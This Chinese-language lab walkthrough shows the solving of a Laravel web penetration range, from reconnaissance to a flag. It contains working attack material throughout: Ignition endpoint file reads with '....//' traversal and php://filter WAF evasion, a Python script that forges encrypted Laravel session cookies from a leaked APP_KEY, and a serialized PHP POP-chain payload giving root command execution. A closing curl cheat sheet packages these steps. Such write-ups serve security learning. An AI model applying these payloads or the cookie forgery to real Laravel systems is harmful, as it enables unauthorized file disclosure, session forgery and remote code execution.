# Delta Breach 靶场通关实录:从信息收集到 POP 链无回显 RCE
靶场来源:雾島风起時
类型:综合 Web 渗透靶场
目标:ulab.bdziyi.cn:20737
通关时间:2026-07-03
Flag:flag{b2706734-f623-437e-8924-f94ab0ee81d0}
考察知识点:双写绕过 WAF、php://filter 编码绕过内容检测、Laravel Cookie 加密机制与密钥复用、POP 链反序列化构造
写在前面
这个靶场设计了一条完整的利用链,模拟了”三角洲通行证”代练交易平台被入侵的场景。整条链有六个阶段,环环相扣:信息收集、路径遍历、凭据泄露、Cookie 伪造、反序列化、拿 Flag。过程中踩了一个很经典的坑——一直默认后端是 Windows(因为报错路径写的是 D:\path\...),结果 exec() 重定向死活不出内容,换成 Linux 的 sh -c 包裹后秒通。这个教训后面会细说。
一、信息收集:摸清靶场底细
1.1 初始探测
从首页入手,发了一个普通的 GET 请求。响应头里立刻暴露了关键信息:
1 2 3
| X-Powered-By: PHP/8.1.34 Set-Cookie: XSRF-TOKEN=eyJpdiI6... (Laravel 加密 Set-Cookie: laravel_session=eyJpdiI6... (Laravel 加密
|
两个 Cookie 的值都是 eyJpdiI6 开头的 base64——这是 Laravel 加密 payload 的 JSON 结构里的 iv 字段开头。基本可以确认这是 Laravel 框架。
页面内容是一个”三角洲护航”代练交易平台,有价格表、打手列表、登录注册入口。
1.2 路由梳理
逐个访问可见页面,梳理出前端路由:
| 路由 |
方法 |
说明 |
/ |
GET |
价格表首页 |
/boosters |
GET |
打手列表,每个有 data-id(101-104) |
/cart |
GET |
购物车(需登录) |
/cart/add |
POST |
加入购物车(JSON,需登录) |
/login |
GET/POST |
登录,字段 username + password |
/register |
GET/POST |
注册,同上 |
/profile |
GET |
个人资料(需登录) |
前端 JS(/js/app.js)里还暴露了 API 调用方式:fetch('/cart/add', {...}) 带 X-CSRF-TOKEN 头。
1.3 关键发现:Ignition 端点
探测常见 Laravel 路径时,/.env 返回了一个不同寻常的 404 页面——不是 Laravel 默认的 404,而是一个带完整堆栈跟踪的错误页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Facade\Ignition\Exceptions\ViewException View [] not found.
Target Endpoint: POST /_ignition/execute-solution Required JSON Payload: { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "viewFile": "..." } }
Stack Trace: Illuminate\View\FileViewFinder->findInPaths('boosters', array('D:\path\resources\views'))
|
这个错误页直接暴露了三样东西:
- 用的是
facade/ignition(Laravel 开发调试工具)
- 利用端点
POST /_ignition/execute-solution,接受 viewFile 参数
- 系统路径
D:\path\resources\views——注意这里写的是 Windows 风格路径,这个线索后面会坑我
接着验证了 /_ignition/health-check:
1
| {"can_execute_commands": true}
|
Ignition 确实可用。这正是 CVE-2021-3129(Laravel Ignition RCE)的入口结构。
二、路径遍历:双写绕过 + filter 编码绕过
2.1 第一道 WAF:../ 过滤
直接往 viewFile 塞 .env 路径试试:
1 2 3 4 5 6 7
| { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "viewFile": "php://filter/convert.base64-encode/resource=.env", "variableName": "username" } }
|
返回 {"error":"Unknown solution or not exploitable."}。换成 ../.env 也一样。
但用 index.php(当前目录的文件)时,响应变成了:
1
| 403 {"error":"WAF Alert: Sensitive content detected in response! Action blocked."}
|
从 404 变成了 403——说明文件能被读到,只是内容触发了 WAF。而 .env 在上级目录,../ 被 WAF 过滤掉了所以 404。
靶场源码(后面读到的 FileController.php)证实了过滤逻辑:
1 2
| $viewFile = str_replace('../', '', $viewFile);
|
str_replace 是单次替换,不递归。所以 ....// 替换一次后中间的 ../ 被删掉,剩下的 .. 和 // 拼起来正好还是 ../。这就是经典的双写绕过。
2.2 第二道 WAF:响应内容检测
用 ....// 绕过路径遍历后,读 .env 明文会触发内容检测:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $sensitiveKeywords = [ 'APP_KEY', 'FLAG=', 'flag{', 'DB_PASSWORD', 'DB_USERNAME', 'root', 'MAIL_PASSWORD', 'Illuminate\\Foundation', 'PDOException', '<?php', ];
foreach ($sensitiveKeywords as $keyword) { if (stripos($content, $keyword) !== false) { return response()->json([ 'error' => 'WAF Alert: Sensitive content detected in response!' ], 403); } }
|
WAF 在响应内容里搜关键词。绕过方式很直接——用 php://filter/convert.base64-encode/resource= 把文件内容编码成 base64,WAF 就匹配不到明文关键词了。
2.3 两道 WAF 一起绕
组合双写 + filter:
1
| viewFile = php://filter/convert.base64-encode/resource=....//.env
|
....// 经过 str_replace('../', '', ...) 后变成 ../,路径遍历恢复
php://filter/...base64... 把文件内容 base64 编码,WAF 内容检测绕过
响应 200,返回了一大段 base64。解码后就是完整的 .env:
1 2 3 4 5 6 7 8 9 10 11 12
| APP_NAME=Laravel APP_ENV=local APP_KEY=base64:Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ= APP_DEBUG=true APP_URL=http://localhost ... DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=laravel DB_USERNAME=root DB_PASSWORD=
|
三、源码审计:摸清完整攻击面
拿到文件读取能力后,继续读源码搞清后续利用链。
3.1 FileController.php
1
| viewFile = php://filter/convert.base64-encode/resource=....//app/Http/Controllers/FileController.php
|
解码后看到完整的 WAF 逻辑和隐藏文件校验:
1 2 3 4 5 6 7
| if (strpos($viewFile, '8167e48f725d4335b6388bdf54b5bd8a.php') !== false) { $roleCookie = $request->cookie('laravel_session'); if (!$roleCookie || $roleCookie !== 'admin260117') { return response()->json(['error' => '无权限访问'], 403); } }
|
读 8167e48f725d4335b6388bdf54b5bd8a.php 需要一个 laravel_session Cookie,明文值必须是 admin260117。但 laravel_session 会被 Laravel 的 EncryptCookies 中间件解密——不能直接发明文,得用 APP_KEY 加密伪造。
3.2 EncryptCookies 与加密格式
读了 vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php 和 Encrypter.php,确认:
- 加密算法:AES-256-CBC(APP_KEY base64 解码后 32 字节)
- Cookie 值格式:
base64(json({iv, value, mac, tag}))
iv:随机 16 字节,base64 编码
value:AES-256-CBC 加密后密文的 base64
mac:hash_hmac('sha256', iv_b64 + value_b64, key)
tag:空字符串(非 AEAD 模式)
- 写 Cookie 时会加
CookieValuePrefix:hash_hmac('sha1', cookieName + 'v2', key) + '|'
- 加密前明文 =
prefix + 实际值
$serialize 默认 false——Cookie 解密后不会 unserialize
这意味着:要伪造 laravel_session,需要:
- 用 APP_KEY 算出
laravel_session 的 CookieValuePrefix
- 明文 =
prefix + "admin260117"
- AES-256-CBC 加密,算 MAC,打包成 JSON,base64 编码
3.3 routes/web.php
1 2 3 4 5 6 7
| Route::post('/_ignition/execute-solution', [FileController::class, 'executeSolution']) ->withoutMiddleware([ \Illuminate\Session\Middleware\StartSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, ]);
|
这个路由显式禁用了 CSRF 和 Session 中间件,所以 POST 不需要 CSRF token。
四、Cookie 伪造提权
用 Python + pycryptodome 构造伪造 Cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import base64, json, hmac, hashlib, os from Crypto.Cipher import AES
app_key = base64.b64decode("Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=")
prefix = hmac.new(app_key, b"laravel_sessionv2", hashlib.sha1).hexdigest() + "|"
plaintext = prefix + "admin260117"
iv = os.urandom(16) pad_len = 16 - (len(plaintext) % 16) padded = plaintext.encode() + bytes([pad_len] * pad_len) cipher = AES.new(app_key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(padded)
value_b64 = base64.b64encode(ciphertext).decode() iv_b64 = base64.b64encode(iv).decode()
mac = hmac.new(app_key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""} cookie_value = base64.b64encode( json.dumps(payload, separators=(",", ":")).encode() ).decode()
|
拿到伪造的 laravel_session Cookie 值后,带上它读隐藏文件:
1 2
| viewFile = php://filter/convert.base64-encode/resource=8167e48f725d4335b6388bdf54b5bd8a.php Cookie: laravel_session=eyJpdiI6InFpUEVQcldMd1NNeitnQzhkMFk5V0E9PSIs...
|
200 返回了 base64 编码的文件内容,解码后看到完整的 POP 链类定义和反序列化入口。
五、POP 链反序列化
5.1 隐藏文件暴露的 POP 链
8167e48f725d4335b6388bdf54b5bd8a.php 的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| namespace App\Hidden;
class User { public $profile; public function __destruct() { if ($this->profile) { $this->profile->show(); } } }
class Profile { public $db; public function __call($name, $arguments) { if ($this->db) { $func = $this->db; $func(); } } }
class Database { public $host; public function __invoke() { if ($this->host) { echo $this->host; } } }
class Command { public $cmd; public function __toString() { if ($this->cmd) { exec($this->cmd); } return "Command Executed"; } }
|
反序列化入口在同一个文件里:
1 2 3 4
| $payload = $_POST['payload'] ?? file_get_contents('php://input'); @unserialize(base64_decode($payload)); echo "Deserialization triggered.";
|
5.2 POP 链调用路径
1 2 3 4 5 6 7 8
| User::__destruct() -> $this->profile->show() -> Profile::__call('show', []) -> $func = $this->db; $func() -> Database::__invoke() -> echo $this->host -> Command::__toString() -> exec($this->cmd)
|
5.3 构造 payload
本地有 PHP,直接用 serialize() 生成最准确:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| namespace App\Hidden;
class User { public $profile; } class Profile { public $db; } class Database { public $host; } class Command { public $cmd; }
$cmd = new Command(); $cmd->cmd = "sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'";
$db = new Database(); $db->host = $cmd; $profile = new Profile(); $profile->db = $db; $user = new User(); $user->profile = $profile;
echo base64_encode(serialize($user));
|
序列化结果:
1
| O:15:"App\Hidden\User":1:{s:7:"profile";O:18:"App\Hidden\Profile":1:{s:2:"db";O:19:"App\Hidden\Database":1:{s:4:"host";O:18:"App\Hidden\Command":1:{s:3:"cmd";s:53:"sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'";}}}}
|
注意类名长度——App\Hidden\Profile 是 18 不是 19(\ 算一个字符),App\Hidden\Database 是 19,App\Hidden\Command 是 18。手动数容易错,用 PHP 的 serialize() 最稳妥。
5.4 触发反序列化
直接 POST 到隐藏文件(不是通过 Ignition 端点,而是让它作为 PHP 执行),带伪造 Cookie 和 payload:
1 2 3 4 5
| POST /8167e48f725d4335b6388bdf54b5bd8a.php Cookie: laravel_session=(伪造的加密 Cookie) Content-Type: application/x-www-form-urlencoded
payload=(base64 编码的序列化对象)
|
响应:Command ExecutedDeserialization triggered. —— 反序列化成功,__destruct 被触发,exec() 执行了。
六、获取 Flag
6.1 踩坑:exec() 不走 shell
一开始用 Windows 风格的命令(cmd /c echo ... > file.txt、type、dir),因为报错路径里的 D:\path\resources\views 让我以为后端是 Windows。结果:
- 反序列化每次都返回
Deserialization triggered
- 但落地的文件要么是 404(没创建),要么是 200 但内容为空
根本原因:PHP 的 exec() 在 Linux 上不会启动 shell,它直接 fork + execve。所以 > 重定向符号不会被解析——它只是作为参数传给了被调用的程序。必须用 sh -c 'cmd > file' 显式启 shell 来解析重定向。
6.2 转向 Linux 命令
换成 sh -c 'id > rce_linux.txt' 后,文件立刻有内容了:
1
| uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
|
确认:Linux 容器,root 权限。D:\path\... 那条报错路径是靶场故意放的干扰信息。
6.3 定位 Flag
1
| find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -name "*flag*" -print 2>/dev/null
|
结果里有一条脱颖而出:
6.4 读取 Flag
1
| sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'
|
把内容写到 public 目录,然后直接 HTTP GET 读:
1 2 3
| GET /rce_flag_final.txt
flag{b2706734-f623-437e-8924-f94ab0ee81d0}
|
七、总结与踩坑笔记
攻击链全景
1 2 3 4 5 6 7 8 9 10 11 12
| 信息收集 └→ 发现 /_ignition/execute-solution 端点 └→ 路径遍历(.... └→ php: └→ 读取 .env → 拿到 APP_KEY └→ 读取源码 → 发现隐藏文件 + 反序列化入口 └→ 用 APP_KEY 伪造 laravel_session Cookie(admin260117) └→ 带伪造 Cookie 读隐藏文件 → 拿到 POP 链类定义 └→ 构造 POP 链 payload → POST 触发反序列化 └→ exec() 无回显 RCE └→ find 定位 flag → cat 读取 └→ flag{b2706734-...}
|
关键绕过对照
| WAF 层 |
过滤方式 |
绕过方式 |
| 路径遍历 |
str_replace('../', '', $viewFile) |
双写 ....//,替换后还原成 ../ |
| 内容检测 |
stripos($content, $sensitiveKeyword) |
php://filter/convert.base64-encode 编码 |
| 身份校验 |
laravel_session 解密后须等于 admin260117 |
用泄露的 APP_KEY 加密伪造 Cookie |
踩坑记录
坑一:误判后端系统
报错路径 D:\path\resources\views 看起来是 Windows,但实际后端是 Linux 容器。这个 D:\path 是靶场硬编码的干扰字符串,跟真实环境无关。教训:不要单凭一个字符串就下结论,用 id、uname -a 这种命令快速确认。
坑二:exec() 不走 shell
PHP 的 exec()、system() 等函数在 Linux 上不走 shell,>、|、&& 这些 shell 元字符不会被解析。要使用重定向、管道、命令链,必须显式 sh -c '完整命令' 包裹。这一步卡了不少时间——反序列化明明触发了,文件却一直空,直到换成 sh -c 才通。
坑三:手动构造序列化容易数错类名长度
PHP 序列化格式里 O:18:"App\Hidden\Profile" 的数字是完整类名(含命名空间和反斜杠)的字节长度。App\Hidden\Profile 有 18 个字符,App\Hidden\Database 有 19 个,App\Hidden\Command 有 18 个。手动数很容易差一个,导致 unserialize() 失败。本地有 PHP 的话,直接写类定义 + serialize() 最稳。
附:工具与命令速查
文件读取(Ignition 端点)
1 2 3 4 5
| curl -X POST "http://target/_ignition/execute-solution" \ -H "Content-Type: application/json" \ -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters":{"viewFile":"php://filter/convert.base64-encode/resource=....//.env", "variableName":"username"}}'
|
Cookie 伪造(Python)
1 2 3
| prefix = hmac.new(key, b"laravel_sessionv2", hashlib.sha1).hexdigest() + "|" plaintext = prefix + "admin260117"
|
POP 链 payload(PHP serialize)
1 2 3 4 5 6
| $cmd = new Command(); $cmd->cmd = "sh -c 'cat /tmp/flag > /var/www/html/public/out.txt'"; $db = new Database(); $db->host = $cmd; $p = new Profile(); $p->db = $db; $u = new User(); $u->profile = $p; echo base64_encode(serialize($u));
|
触发反序列化
1 2 3
| curl -X POST "http://target/8167e48f725d4335b6388bdf54b5bd8a.php" \ -b "laravel_session=(伪造 Cookie)" \ -d "payload=(base64 序列化对象)"
|
Flag:flag{b2706734-f623-437e-8924-f94ab0ee81d0}
通关。